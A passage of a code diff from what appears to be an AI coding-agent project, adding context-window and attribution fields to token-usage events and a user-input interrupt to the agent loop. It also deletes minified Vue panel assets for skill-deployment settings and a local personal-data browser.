+ // The panel and persisted transcript use this same request configuration.
15224
+ const requestContextWindow =
15225
+ canonicalProviderContext?.modelCapabilities?.contextWindowTokens ??
15226
+ resolveModelCapabilityProfile({
15227
+ provider: options.provider || "ollama",
15228
+ model: options.model,
15229
+ baseUrl: options.baseUrl,
15230
+ contextMemoryModelWindowTokens: options.contextMemoryModelWindowTokens,
15231
+ }).contextWindowTokens;
15157
15232
  // The consumer receives this boundary before `.next()` resumes into the
15158
15233
  // provider call, so a durable append failure can prevent spend.
15159
15234
  yield modelUsageCall;
@@ -15281,6 +15356,7 @@ export async function* agentLoop(messages, options) {
15281
15356
  provider: modelUsageCall.provider,
15282
15357
  model: modelUsageCall.model,
15283
15358
  usage: result.usage,
15359
+ contextWindow: requestContextWindow,
15284
15360
  };
15285
15361
  } else {
15286
15362
  yield {
@@ -15780,8 +15856,16 @@ export async function* agentLoop(messages, options) {
15780
15856
  // Capability and exact-path authority must settle before any checkpoint,
15781
15857
  // hook, or observationally stronger `tool-executing` event. The same
15782
15858
  // preflight runs again inside executeTool to prevent call-site drift.
15859
+ const editRecoveryRead =
15860
+ toolName === "read_file" &&
15861
+ typeof toolArgs?.path === "string" &&
15862
+ readFileLoopGuard.canRecoverEdit(
15863
+ path.resolve(toolContext.cwd || process.cwd(), toolArgs.path),
15864
+ toolArgs,
15865
+ );
15783
15866
  const earlyAuthorityDenial =
15784
- (pausedTools.has(toolName) ||
15867
+ ((pausedTools.has(toolName) && !editRecoveryRead) ||
15868
+ (readRecoveryTurn && toolName === "read_file" && !editRecoveryRead) ||
15785
15869
  remoteReadLoopGuard.shouldPause(toolName, toolArgs) ||
15786
15870
  (taskRecoveryTurn &&
15787
15871
  toolName === "read_file" &&
@@ -16157,6 +16241,8 @@ export async function* agentLoop(messages, options) {
16157
16241
  const resultStr = toolResultForModel(toolName, toolResult, messages);
16158
16242
  remoteReadLoopGuard.record(toolName, toolResult, toolArgs);
16159
16243
  explicitPrCloseActionGuard.record(toolName, toolArgs, toolResult);
16244
+ if (toolName === "edit_file_hashed")
16245
+ readFileLoopGuard.recordEditRecovery(toolResult);
16160
16246
  readFileLoopGuard.record(
16161
16247
  toolName,
16162
16248
  toolResult,
@@ -3406,6 +3406,10 @@ async function runAgentHeadlessInWorkspace(
3406
3406
  provider: event.provider,
3407
3407
  model: event.model,
3408
3408
  usage: event.usage,
3409
+ ...(event.contextWindow
3410
+ ? { contextWindow: event.contextWindow }
3411
+ : {}),
3412
+ ...(event.attribution ? { attribution: event.attribution } : {}),
3409
3413
  ...(event.source ? { source: event.source } : {}),
3410
3414
  });
3411
3415
  if (costBudget) {
@@ -1140,6 +1140,10 @@ async function runTurn(
1140
1140
  provider: event.provider,
1141
1141
  model: event.model,
1142
1142
  usage: event.usage,
1143
+ ...(event.contextWindow
1144
+ ? { contextWindow: event.contextWindow }
1145
+ : {}),
1146
+ ...(event.attribution ? { attribution: event.attribution } : {}),
1143
1147
  ...(event.source ? { source: event.source } : {}),
1144
1148
  });
1145
1149
  if (costBudget) {
@@ -4252,7 +4256,11 @@ async function runAgentHeadlessStreamInWorkspace(
4252
4256
  event,
4253
4257
  "headless semantic compaction usage settlement",
4254
4258
  );
4255
- emit({ type: "token_usage", ...usageEvent });
4259
+ emit({
4260
+ type: "token_usage",
4261
+ ...usageEvent,
4262
+ source: "semantic-compaction",
4263
+ });
4256
4264
  if (costBudget) {
4257
4265
  costBudget.add(usageEvent);
4258
4266
  costExceeded = costBudget.exceeded();
@@ -4865,6 +4873,18 @@ async function runAgentHeadlessStreamInWorkspace(
4865
4873
  // Keep the session heartbeat and protocol pumps live while a
4866
4874
  // foreground command such as a networked git push is still running.
4867
4875
  nonBlockingShell: true,
4876
+ // Interactive user input is delivered after the active tool batch,
4877
+ // without aborting in-flight writes. Noninteractive streams retain
4878
+ // their sequential request/response behavior.
4879
+ shouldYieldToUser: () =>
4880
+ (options.interactiveApprovals === true ||
4881
+ options.interactiveQuestions === true) &&
4882
+ queue.some(
4883
+ ({ parsed: event }) =>
4884
+ typeof event.text === "string" &&
4885
+ event.text.trim().length > 0 &&
4886
+ !event.text.trimStart().startsWith("/"),
4887
+ ),
4868
4888
  // Resume-degenerate role merge for the first live model call only.
4869
4889
  mergeRoles: mergeRolesThisTurn,
4870
4890
  },
@@ -5014,6 +5034,19 @@ async function runAgentHeadlessStreamInWorkspace(
5014
5034
  }
5015
5035
  currentAbort = null;
5016
5036
 
5037
+ if (outcome.endReason === "user-input-pending") {
5038
+ emit({
5039
+ type: "result",
5040
+ subtype: "interrupted",
5041
+ is_error: false,
5042
+ interrupted: true,
5043
+ reason: "user-input-pending",
5044
+ session_id: sessionId,
5045
+ turn: turns,
5046
+ });
5047
+ continue;
5048
+ }
5049
+
5017
5050
  if (outcome.endReason === "compaction-usage-unknown") {
5018
5051
  sawError = true;
5019
5052
  emit({
@@ -1 +0,0 @@
1
- import{I as l,J as x,U as i,c as a,K as o,o as D,r as k,a as L,b as O,P as S,Q as _,R as u,F as B,Z as q,V as I,S as H}from"./vendor-Bn1JzzAn.js";import{_ as J,u as V,d as y}from"./index-Ne8UGllV.js";import{R as U}from"./icons-DG5UD-6K.js";function N(p){return["ask","agent"].map(t=>{const s=p?.readiness?.[t],e=s?.state==="admitted",d=s?.scope==="deployment-admission"&&s.runtimeVerification==="not_checked"&&Array.isArray(s.requiredCommands)&&s.requiredCommands.includes(t)&&(e?s.ready===!0&&s.taskReady===null:["not_configured","disabled","invalid","command_not_allowed"].includes(s.state)&&s.ready===!1&&s.taskReady===!1);return{command:t,state:d?s.state:"unknown",summary:d?e?"部署准入通过":"部署准入被阻断":"未提供准入诊断",detail:d&&typeof s.detail=="string"?s.detail:"当前 CLI 未提供可识别的部署准入诊断,请更新 CLI。",remediation:d&&typeof s.remediation=="string"?s.remediation:""}})}function j(p,t){for(const s of Object.keys(p))delete p[s];Object.assign(p,{source:"none",effectiveEnabled:!1,profileEnabled:!1,verified:!1,commands:[],readiness:null},t||{})}const W={__name:"EvolutionSettings",setup(p,{expose:t}){t();const s=V(),e=k(!1),d=k(!1),w=k(!1),m=k(""),g=k(""),c=L({source:"none",effectiveEnabled:!1,profileEnabled:!1,verified:!1,commands:[]}),h=O(()=>e.value||d.value||w.value),C=O(()=>N(c));function b(r){j(c,r),m.value=c.descriptorPath||"",g.value=c.trustRootPath||""}async function v(r,n=3e4){return await s.waitConnected(8e3),(await s.sendRaw(r,n)).result}async function R(){e.value=!0;try{b(await v({type:"evolution.deployment.status"}))}catch(r){y.error("读取配置失败:"+r.message)}finally{e.value=!1}}async function E(){if(!m.value.trim()||!g.value.trim()){y.warning("请填写描述符和信任根公钥的绝对路径");return}d.value=!0;try{b(await v({type:"evolution.deployment.configure",descriptorPath:m.value.trim(),trustRootPath:g.value.trim()},6e4)),y.success("签名校验通过,配置已保存并启用;自动发布仍为 HOLD")}catch(r){y.error("配置失败:"+r.message)}finally{d.value=!1}}async function f(){w.value=!0;try{b(await v({type:"evolution.deployment.set-enabled",enabled:!c.profileEnabled})),y.success(c.profileEnabled?"已启用":"已停用")}catch(r){y.error("更新失败:"+r.message)}finally{w.value=!1}}D(R);const P={ws:s,loading:e,saving:d,toggling:w,descriptorPath:m,trustRootPath:g,status:c,busy:h,readinessRows:C,apply:b,request:v,loadStatus:R,save:E,toggle:f,computed:O,onMounted:D,reactive:L,ref:k,get ReloadOutlined(){return U},get message(){return y},get useWsStore(){return V},get deploymentReadinessRows(){return N},get replaceDeploymentStatus(){return j}};return Object.defineProperty(P,"__isScriptSetup",{enumerable:!1,value:!0}),P}},z={class:"page-head"},A={class:"mono"},F={class:"mono"},G={class:"admission-status","aria-live":"polite"},K=["data-admission-command"],M={class:"mono"},Q={key:0,class:"mono"};function T(p,t,s,e,d,w){const m=l("a-button"),g=l("a-alert"),c=l("a-input"),h=l("a-form-item"),C=l("a-space"),b=l("a-form"),v=l("a-card"),R=l("a-col"),E=l("a-tag"),f=l("a-descriptions-item"),P=l("a-descriptions"),r=l("a-row");return S(),x("div",null,[i("div",z,[t[3]||(t[3]=i("div",null,[i("h2",{class:"page-title"},"Skill 自进化配置"),i("p",{class:"page-sub"},"统一配置受治理部署;CLI、IDE 插件与 cc ui 共享。")],-1)),a(m,{loading:e.loading,onClick:e.loadStatus},{icon:o(()=>[a(e.ReloadOutlined)]),default:o(()=>[t[2]||(t[2]=_("刷新 ",-1))]),_:1},8,["loading"])]),a(g,{message:"不会开启自动发布",description:"此开关只启用经过签名的 Skill 自进化运行时。候选项进入 active 前仍需人工审核,自动发布始终保持 HOLD。",type:"warning","show-icon":"",class:"notice"}),a(r,{gutter:16},{default:o(()=>[a(R,{xs:24,xl:15},{default:o(()=>[a(v,{title:"签名部署",class:"panel-card"},{default:o(()=>[a(b,{layout:"vertical"},{default:o(()=>[a(h,{label:"签名部署描述符"},{extra:o(()=>[...t[4]||(t[4]=[_("Web 页面不能读取本机文件选择器,请填写运行 cc ui 的机器上的绝对路径。",-1)])]),default:o(()=>[a(c,{value:e.descriptorPath,"onUpdate:value":t[0]||(t[0]=n=>e.descriptorPath=n),disabled:e.busy,placeholder:"deployment descriptor JSON 的服务器绝对路径"},null,8,["value","disabled"])]),_:1}),a(h,{label:"Ed25519 信任根公钥"},{default:o(()=>[a(c,{value:e.trustRootPath,"onUpdate:value":t[1]||(t[1]=n=>e.trustRootPath=n),disabled:e.busy,placeholder:"信任根 public key 的服务器绝对路径"},null,8,["value","disabled"])]),_:1}),a(C,null,{default:o(()=>[a(m,{type:"primary",loading:e.saving,onClick:e.save},{default:o(()=>[...t[5]||(t[5]=[_("校验、保存并启用",-1)])]),_:1},8,["loading"]),a(m,{danger:e.status.profileEnabled,disabled:!e.status.descriptorPath,loading:e.toggling,onClick:e.toggle},{default:o(()=>[_(u(e.status.profileEnabled?"停用":"启用"),1)]),_:1},8,["danger","disabled","loading"])]),_:1})]),_:1})]),_:1})]),_:1}),a(R,{xs:24,xl:9},{default:o(()=>[a(v,{title:"治理状态",class:"panel-card status-card"},{default:o(()=>[a(P,{column:1,size:"small"},{default:o(()=>[a(f,{label:"生效状态"},{default:o(()=>[a(E,{color:e.status.effectiveEnabled?"green":"default"},{default:o(()=>[_(u(e.status.effectiveEnabled?"已启用":"未启用"),1)]),_:1},8,["color"])]),_:1}),a(f,{label:"生效来源"},{default:o(()=>[_(u(e.status.source||"none"),1)]),_:1}),a(f,{label:"签名校验"},{default:o(()=>[a(E,{color:e.status.verified?"green":"red"},{default:o(()=>[_(u(e.status.verified?"已通过":"未通过"),1)]),_:1},8,["color"])]),_:1}),a(f,{label:"自动发布"},{default:o(()=>[a(E,{color:"orange"},{default:o(()=>[...t[6]||(t[6]=[_("HOLD",-1)])]),_:1})]),_:1}),a(f,{label:"配置文件"},{default:o(()=>[i("span",A,u(e.status.profilePath||"—"),1)]),_:1}),a(f,{label:"允许命令"},{default:o(()=>[i("span",F,u((e.status.commands||[]).join(", ")||"—"),1)]),_:1})]),_:1}),i("section",G,[t[7]||(t[7]=i("h3",null,"模型命令部署准入",-1)),t[8]||(t[8]=i("p",null,"这里只检查部署准入,实际任务运行尚未验证。",-1)),(S(!0),x(B,null,q(e.readinessRows,n=>(S(),x("div",{key:n.command,"data-admission-command":n.command},[i("strong",null,u(n.command)+":"+u(n.summary),1),i("p",M,u(n.detail),1),n.remediation?(S(),x("p",Q,u(n.remediation),1)):I("v-if",!0)],8,K))),128))]),e.status.error?(S(),H(g,{key:0,message:e.status.error,type:"error","show-icon":"",class:"error"},null,8,["message"])):I("v-if",!0)]),_:1})]),_:1})]),_:1})])}const ee=J(W,[["render",T],["__scopeId","data-v-5a42105e"],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/views/EvolutionSettings.vue"]]);export{ee as default};
@@ -1 +0,0 @@
1
- import{P as c,J as p,b as s}from"./vendor-Bn1JzzAn.js";import{r as a}from"./markdown-Yo_c6Krv.js";import{_ as d}from"./index-Ne8UGllV.js";const _={__name:"MarkdownRenderer",props:{content:{type:String,default:""}},setup(t,{expose:o}){o();const e=t,r=s(()=>a(e.content||"")),n={props:e,rendered:r,computed:s,get renderMarkdown(){return a}};return Object.defineProperty(n,"__isScriptSetup",{enumerable:!1,value:!0}),n}},i=["innerHTML"];function m(t,o,e,r,n,u){return c(),p("div",{class:"markdown-content",innerHTML:r.rendered},null,8,i)}const w=d(_,[["render",m],["__scopeId","data-v-0b0b9f63"],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/components/MarkdownRenderer.vue"]]);export{w as M};
@@ -1,7 +0,0 @@
1
- const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["./ChatBubbleRenderer-BvoSsCKh.js","./vendor-Bn1JzzAn.js","./index-Ne8UGllV.js","./icons-DG5UD-6K.js","./index-Cq93VfoF.css","./ChatBubbleRenderer-gy5SDGw2.css","./OrderTableRenderer-BtMtQUt7.js","./OrderTableRenderer-CfrDjSHT.css","./TimelineRenderer-CQK4PVv4.js","./TimelineRenderer-BlTAtkOc.css","./EmailListRenderer-BQdGLZIO.js","./EmailListRenderer-DTPZPx_S.css","./GenericCardRenderer-DkJcbBpS.js","./GenericCardRenderer-o85VDYQS.css"])))=>i.map(i=>d[i]);
2
- import{E as ue,r as E,b as w,I as g,P as u,J as O,U as v,c,S as C,V as x,_ as J,F as V,Z as se,a0 as ae,R,K as m,Q as b,W as L,o as M}from"./vendor-Bn1JzzAn.js";import{u as z}from"./usePersonalDataHub-B02JYIMe.js";import{_ as D,e as F,d as P}from"./index-Ne8UGllV.js";import{aa as q,ag as G,M as U,aI as Q,v as H,aH as K,aq as W,ac as Y,e as de,d as fe,k as pe,ai as me,aA as _e,R as ye}from"./icons-DG5UD-6K.js";import"./useShellMode-CgR0wCYM.js";const I=Object.freeze({q:"",category:null,adapter:null,subtype:null,since:null,until:null}),B=50,Z=300,X=ue("pdhBrowser",()=>{const r=E({...I}),t=E([]),n=E(null),e=E(!1),o=E(!1),a=E(null),l=E(null),s=E(!1),i=E({byCategory:{},byAdapter:{},bySubtype:{},total:0});let d=0,_=null;const j=w(()=>t.value.length>0),A=w(()=>n.value!=null);function h(S={}){const p={},f=r.value;return f.q&&f.q.trim()&&(p.q=f.q.trim()),f.category&&(p.category=f.category),f.adapter&&(p.adapter=f.adapter),f.subtype&&(p.subtype=f.subtype),Number.isFinite(f.since)&&(p.since=f.since),Number.isFinite(f.until)&&(p.until=f.until),{...p,...S}}async function y(){const S=++d;e.value=!0,a.value=null;const p=z();try{const[f,T]=await Promise.all([p.searchEvents(h({limit:B})),p.facetCounts({...r.value.q&&r.value.q.trim()?{q:r.value.q.trim()}:{},...Number.isFinite(r.value.since)?{since:r.value.since}:{},...Number.isFinite(r.value.until)?{until:r.value.until}:{}})]);if(S!==d)return;t.value=f.rows||[],n.value=f.nextCursor||null,l.value=f.mode||"like",s.value=!!f.shortQuery,i.value={byCategory:T.byCategory||{},byAdapter:T.byAdapter||{},bySubtype:T.bySubtype||{},total:T.total||0}}catch(f){if(S!==d)return;a.value=f&&f.message?f.message:String(f),t.value=[],n.value=null}finally{S===d&&(e.value=!1)}}async function k(){if(!n.value||o.value)return;o.value=!0,a.value=null;const S=z();try{const p=await S.searchEvents(h({cursor:n.value,limit:B}));t.value=t.value.concat(p.rows||[]),n.value=p.nextCursor||null,l.value=p.mode||l.value}catch(p){a.value=p&&p.message?p.message:String(p)}finally{o.value=!1}}function le(S,p){if(!(S in I))throw new Error(`pdhBrowser.setFilter: unknown key "${S}"`);r.value={...r.value,[S]:p},_&&clearTimeout(_),_=setTimeout(()=>{_=null,y()},Z)}function ie(S){return r.value={...I,...S},_&&(clearTimeout(_),_=null),y()}function ce(){r.value={...I},t.value=[],n.value=null,a.value=null,i.value={byCategory:{},byAdapter:{},bySubtype:{},total:0}}return{filters:r,results:t,cursor:n,isLoading:e,isAppending:o,error:a,mode:l,shortQuery:s,facets:i,hasResults:j,canLoadMore:A,search:y,loadMore:k,setFilter:le,setFilters:ie,reset:ce,PAGE_SIZE:B,SEARCH_DEBOUNCE_MS:Z}}),ge=Object.freeze(["chat","social","email","shopping","travel","system","ai-chat","other"]),ve=Object.freeze({chat:"社交聊天",social:"内容平台",email:"邮件",shopping:"支付订单",travel:"出行",system:"系统数据","ai-chat":"AI 对话",other:"其他"});function N(r){return ve[r]||r||"未知"}const be=Object.freeze([["wechat","chat"],["messaging-","chat"],["social-","social"],["email-","email"],["shopping-","shopping"],["alipay-","shopping"],["travel-","travel"],["system-data","system"],["browser-","system"],["meeting-","system"],["vscode","system"],["vscodium","system"],["jetbrains-ide","system"],["win-recent","system"],["git-activity","system"],["shell-history","system"],["hbuilderx","system"],["local-files","system"],["cursor","ai-chat"],["claude-code","ai-chat"],["ai-chat-","ai-chat"]]);function $(r){if(typeof r!="string"||r.length===0)return"other";for(const[t,n]of be)if(t.endsWith("-")||t==="system-data"){if(r.startsWith(t))return n}else if(r===t)return n;return"other"}const he={__name:"CategorySidebar",props:{selected:{type:String,default:null},facets:{type:Object,default:()=>({byCategory:{},total:0})}},emits:["select"],setup(r,{expose:t}){t();const n=r,e=w(()=>n.facets.total||0),o={chat:Y,social:W,email:K,shopping:H,travel:Q,system:U,"ai-chat":G,other:q};function a(i){return o[i]||q}function l(i){return i?{backgroundColor:"#fff",color:"#1677ff"}:{backgroundColor:"#f0f0f0",color:"#666"}}const s={props:n,total:e,ICONS:o,iconFor:a,badgeStyle:l,computed:w,get AppstoreOutlined(){return q},get MessageOutlined(){return Y},get PlayCircleOutlined(){return W},get MailOutlined(){return K},get ShoppingOutlined(){return H},get CarOutlined(){return Q},get MobileOutlined(){return U},get RobotOutlined(){return G},get CATEGORIES(){return ge},get categoryLabel(){return N}};return Object.defineProperty(s,"__isScriptSetup",{enumerable:!1,value:!0}),s}},Se={class:"pdh-sidebar"},Oe=["onClick"],we={class:"label"};function Ce(r,t,n,e,o,a){const l=g("a-badge");return u(),O("div",Se,[t[2]||(t[2]=v("div",{class:"sidebar-title"},"数据类型",-1)),v("div",{class:J(["cat-item",{active:n.selected===null}]),onClick:t[0]||(t[0]=s=>r.$emit("select",null))},[c(e.AppstoreOutlined,{class:"icon"}),t[1]||(t[1]=v("span",{class:"label"},"全部",-1)),e.total>0?(u(),C(l,{key:0,count:e.total,"number-style":e.badgeStyle(n.selected===null),"overflow-count":9999},null,8,["count","number-style"])):x("v-if",!0)],2),(u(!0),O(V,null,se(e.CATEGORIES,s=>(u(),O("div",{key:s,class:J(["cat-item",{active:n.selected===s,dim:!n.facets.byCategory[s]}]),onClick:i=>r.$emit("select",s)},[(u(),C(ae(e.iconFor(s)),{class:"icon"})),v("span",we,R(e.categoryLabel(s)),1),n.facets.byCategory[s]?(u(),C(l,{key:0,count:n.facets.byCategory[s],"number-style":e.badgeStyle(n.selected===s),"overflow-count":9999},null,8,["count","number-style"])):x("v-if",!0)],10,Oe))),128))])}const ke=D(he,[["render",Ce],["__scopeId","data-v-6b62a22e"],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/components/pdh/CategorySidebar.vue"]]),xe={__name:"SearchFilterBar",props:{filters:{type:Object,required:!0},facets:{type:Object,default:()=>({byAdapter:{}})},isLoading:{type:Boolean,default:!1},mode:{type:String,default:null},shortQuery:{type:Boolean,default:!1}},emits:["set-filter","reset"],setup(r,{expose:t,emit:n}){t();const e=r,o=n,a=w(()=>e.filters.category?`在「${e.filters.category}」类目内搜索…`:"搜索关键词(如:支付宝、罗技、Kotlin)…"),l=w(()=>Object.entries(e.facets.byAdapter||{}).sort((y,k)=>k[1]-y[1]).map(([y,k])=>({value:y,label:`${y} (${k})`}))),s=w(()=>!e.filters.since&&!e.filters.until?null:[e.filters.since?new Date(e.filters.since):null,e.filters.until?new Date(e.filters.until):null]),i=w(()=>!!(e.filters.q||e.filters.adapter||e.filters.subtype||e.filters.since||e.filters.until));function d(h){o("set-filter","q",h||"")}function _(h){o("set-filter","q",h||"")}function j(h){if(!h||h.length===0){o("set-filter","since",null),o("set-filter","until",null);return}const[y,k]=h;o("set-filter","since",y?+y:null),o("set-filter","until",k?+k:null)}const A={props:e,emit:o,placeholderText:a,adapterOptions:l,dateRangeValue:s,hasActiveFilters:i,onQInput:d,onSearch:_,onDateChange:j,computed:w,get SearchOutlined(){return pe},get CloseCircleOutlined(){return fe},get InfoCircleOutlined(){return de}};return Object.defineProperty(A,"__isScriptSetup",{enumerable:!1,value:!0}),A}},Ee={class:"pdh-filter-bar"},Re={key:1,class:"hint"},je={key:2,class:"hint"};function Ae(r,t,n,e,o,a){const l=g("a-input-search"),s=g("a-select"),i=g("a-range-picker"),d=g("a-button");return u(),O("div",Ee,[c(l,{value:n.filters.q,placeholder:e.placeholderText,"enter-button":"搜索","allow-clear":"",loading:n.isLoading,style:{flex:"1","max-width":"480px"},"onUpdate:value":e.onQInput,onSearch:e.onSearch},{prefix:m(()=>[c(e.SearchOutlined)]),_:1},8,["value","placeholder","loading"]),c(s,{value:n.filters.adapter,placeholder:"所有 adapter","allow-clear":"",options:e.adapterOptions,style:{width:"200px"},"onUpdate:value":t[0]||(t[0]=_=>r.$emit("set-filter","adapter",_||null))},null,8,["value","options"]),c(i,{value:e.dateRangeValue,placeholder:["开始日期","结束日期"],style:{width:"280px"},"onUpdate:value":e.onDateChange},null,8,["value"]),e.hasActiveFilters?(u(),C(d,{key:0,type:"link",danger:"",onClick:t[1]||(t[1]=_=>r.$emit("reset"))},{icon:m(()=>[c(e.CloseCircleOutlined)]),default:m(()=>[t[2]||(t[2]=b(" 清空筛选 ",-1))]),_:1})):x("v-if",!0),n.shortQuery?(u(),O("span",Re,[c(e.InfoCircleOutlined),t[3]||(t[3]=b(" 关键词需至少 3 字 (FTS5 trigram 限制) ",-1))])):n.mode==="like"?(u(),O("span",je,[c(e.InfoCircleOutlined),t[4]||(t[4]=b(" 当前为 LIKE 兜底模式 ",-1))])):x("v-if",!0)])}const Le=D(xe,[["render",Ae],["__scopeId","data-v-d7cce6e9"],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/components/pdh/SearchFilterBar.vue"]]),Fe={__name:"RendererDispatcher",props:{event:{type:Object,required:!0}},setup(r,{expose:t}){t();const n=L(()=>F(()=>import("./ChatBubbleRenderer-BvoSsCKh.js"),__vite__mapDeps([0,1,2,3,4,5]),import.meta.url)),e=L(()=>F(()=>import("./OrderTableRenderer-BtMtQUt7.js"),__vite__mapDeps([6,1,2,3,4,7]),import.meta.url)),o=L(()=>F(()=>import("./TimelineRenderer-CQK4PVv4.js"),__vite__mapDeps([8,1,2,3,4,9]),import.meta.url)),a=L(()=>F(()=>import("./EmailListRenderer-BQdGLZIO.js"),__vite__mapDeps([10,1,2,3,4,11]),import.meta.url)),l=L(()=>F(()=>import("./GenericCardRenderer-DkJcbBpS.js"),__vite__mapDeps([12,1,2,3,4,13]),import.meta.url));function s(d){const _=d&&d.source&&d.source.adapter;switch($(_)){case"chat":case"ai-chat":return n;case"shopping":return e;case"travel":return o;case"email":return a;default:return l}}const i={ChatBubbleRenderer:n,OrderTableRenderer:e,TimelineRenderer:o,EmailListRenderer:a,GenericCardRenderer:l,rendererFor:s,defineAsyncComponent:L,get getCategory(){return $}};return Object.defineProperty(i,"__isScriptSetup",{enumerable:!1,value:!0}),i}};function De(r,t,n,e,o,a){return u(),C(ae(e.rendererFor(n.event)),{event:n.event},null,8,["event"])}const Te=D(Fe,[["render",De],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/components/pdh/renderers/RendererDispatcher.vue"]]);function ee(r){return JSON.stringify(r,null,2)}function te(r){return r.map(t=>JSON.stringify(t)).join(`
3
- `)+`
4
- `}function ne(r){const n=["id","subtype","occurredAt","occurredAtIso","actor","place","adapter","summary","contentJson","extraJson"].join(","),e=r.map(o=>{const a=Number.isFinite(o.occurredAt)?o.occurredAt:null,l=a?new Date(a).toISOString():"",s=o.source&&o.source.adapter||"",i=o.content&&(o.content.text||o.content.title||o.content.subject)||"";return[o.id||"",o.subtype||"",a!=null?String(a):"",l,o.actor||"",o.place||"",s,i,o.content?JSON.stringify(o.content):"",o.extra?JSON.stringify(o.extra):""].map(Ie).join(",")});return[n,...e].join(`
5
- `)+`
6
- `}function Ie(r){const t=String(r??"");return t.includes(",")||t.includes('"')||t.includes(`
7
- `)||t.includes("\r")?'"'+t.replace(/"/g,'""')+'"':t}function re(r,t,n="application/octet-stream"){if(typeof window>"u"||typeof document>"u")return t;const e=new Blob([r],{type:n}),o=URL.createObjectURL(e),a=document.createElement("a");return a.href=o,a.download=t,document.body.appendChild(a),a.click(),document.body.removeChild(a),setTimeout(()=>URL.revokeObjectURL(o),1e3),t}function oe(r,t=null){const n=new Date,e=n.getFullYear(),o=String(n.getMonth()+1).padStart(2,"0"),a=String(n.getDate()).padStart(2,"0"),l=r==="ndjson"?"ndjson":r,s=t?`-${t}`:"";return`pdh-events-${e}-${o}-${a}${s}.${l}`}const Pe={__name:"ExportDropdown",props:{events:{type:Array,required:!0},category:{type:String,default:null}},setup(r,{expose:t}){t();const n=r,e=w(()=>n.events.length>0),o={json:"application/json;charset=utf-8",ndjson:"application/x-ndjson;charset=utf-8",csv:"text/csv;charset=utf-8"};function a(i){switch(i){case"json":return ee(n.events);case"ndjson":return te(n.events);case"csv":return ne(n.events);default:throw new Error(`unknown format: ${i}`)}}function l({key:i}){try{const d=a(i),_=oe(i,n.category);re(d,_,o[i]),P.success(`已导出 ${n.events.length} 条到 ${_}`)}catch(d){P.error(`导出失败: ${d.message||d}`)}}const s={props:n,hasResults:e,MIME:o,serialize:a,onClick:l,computed:w,get DownloadOutlined(){return _e},get DownOutlined(){return me},get message(){return P},get eventsToJson(){return ee},get eventsToNdjson(){return te},get eventsToCsv(){return ne},get downloadAs(){return re},get suggestFilename(){return oe}};return Object.defineProperty(s,"__isScriptSetup",{enumerable:!1,value:!0}),s}};function qe(r,t,n,e,o,a){const l=g("a-button"),s=g("a-menu-item"),i=g("a-menu"),d=g("a-dropdown");return u(),C(d,{disabled:!e.hasResults},{overlay:m(()=>[c(i,{onClick:e.onClick},{default:m(()=>[c(s,{key:"json"},{default:m(()=>[...t[0]||(t[0]=[b("JSON (.json)",-1)])]),_:1}),c(s,{key:"ndjson"},{default:m(()=>[...t[1]||(t[1]=[b("NDJSON (.ndjson)",-1)])]),_:1}),c(s,{key:"csv"},{default:m(()=>[...t[2]||(t[2]=[b("CSV (.csv)",-1)])]),_:1})]),_:1})]),default:m(()=>[c(l,{disabled:!e.hasResults},{icon:m(()=>[c(e.DownloadOutlined)]),default:m(()=>[b(" 导出 ("+R(n.events.length)+") ",1),c(e.DownOutlined)]),_:1},8,["disabled"])]),_:1},8,["disabled"])}const Be=D(Pe,[["render",qe],["__file","/tmp/cc-web-panel-Jx0izG/repo/packages/web-panel/src/components/pdh/ExportDropdown.vue"]]),Ve={__name:"PdhVaultBrowser",setup(r,{expose:t}){t();const n=X(),e=w(()=>n.filters.q?`没有匹配 "${n.filters.q}" 的事件 — 试试更短的关键词或换个类目`:n.filters.category?`「${N(n.filters.category)}」类目下还没有数据 — 去采集页同步对应 adapter`:"Vault 里还没有数据 — 去「个人数据中台」页面同步任意 adapter");function o(s){n.filters.category=s,n.search()}function a(s,i){n.setFilter(s,i)}M(()=>{!n.hasResults&&!n.isLoading&&n.search()});const l={store:n,emptyHint:e,onCategorySelect:o,onSetFilter:a,onMounted:M,computed:w,get ReloadOutlined(){return ye},get usePdhBrowserStore(){return X},get categoryLabel(){return N},CategorySidebar:ke,SearchFilterBar:Le,RendererDispatcher:Te,ExportDropdown:Be};return Object.defineProperty(l,"__isScriptSetup",{enumerable:!1,value:!0}),l}},Ne={class:"pdh-browser-page"},Je={class:"page-header"},Me={class:"main-pane"},ze={class:"results-summary"},Ge={key:0},Ue={key:0},Qe={key:1},He={class:"loaded-of"},Ke={class:"results-list"},We={key:2,class:"load-more"};function Ye(r,t,n,e,o,a){const l=g("a-tag"),s=g("a-button"),i=g("a-space"),d=g("a-col"),_=g("a-spin"),j=g("a-alert"),A=g("a-empty"),h=g("a-row");return u(),O("div",Ne,[v("div",Je,[t[6]||(t[6]=v("div",null,[v("h2",{class:"page-title"},"数据浏览器"),v("p",{class:"page-sub"}," Vault 里所有已采集的数据,按类目浏览 / 全文检索 / 时间窗口筛选。 完全离线,不外传。 ")],-1)),c(i,null,{default:m(()=>[e.store.mode==="fts5"?(u(),C(l,{key:0,color:"green"},{default:m(()=>[...t[3]||(t[3]=[b("FTS5 trigram",-1)])]),_:1})):e.store.mode==="like"?(u(),C(l,{key:1,color:"orange"},{default:m(()=>[...t[4]||(t[4]=[b("LIKE 兜底",-1)])]),_:1})):x("v-if",!0),c(e.ExportDropdown,{events:e.store.results,category:e.store.filters.category},null,8,["events","category"]),c(s,{onClick:t[0]||(t[0]=y=>e.store.search()),loading:e.store.isLoading},{icon:m(()=>[c(e.ReloadOutlined)]),default:m(()=>[t[5]||(t[5]=b(" 刷新 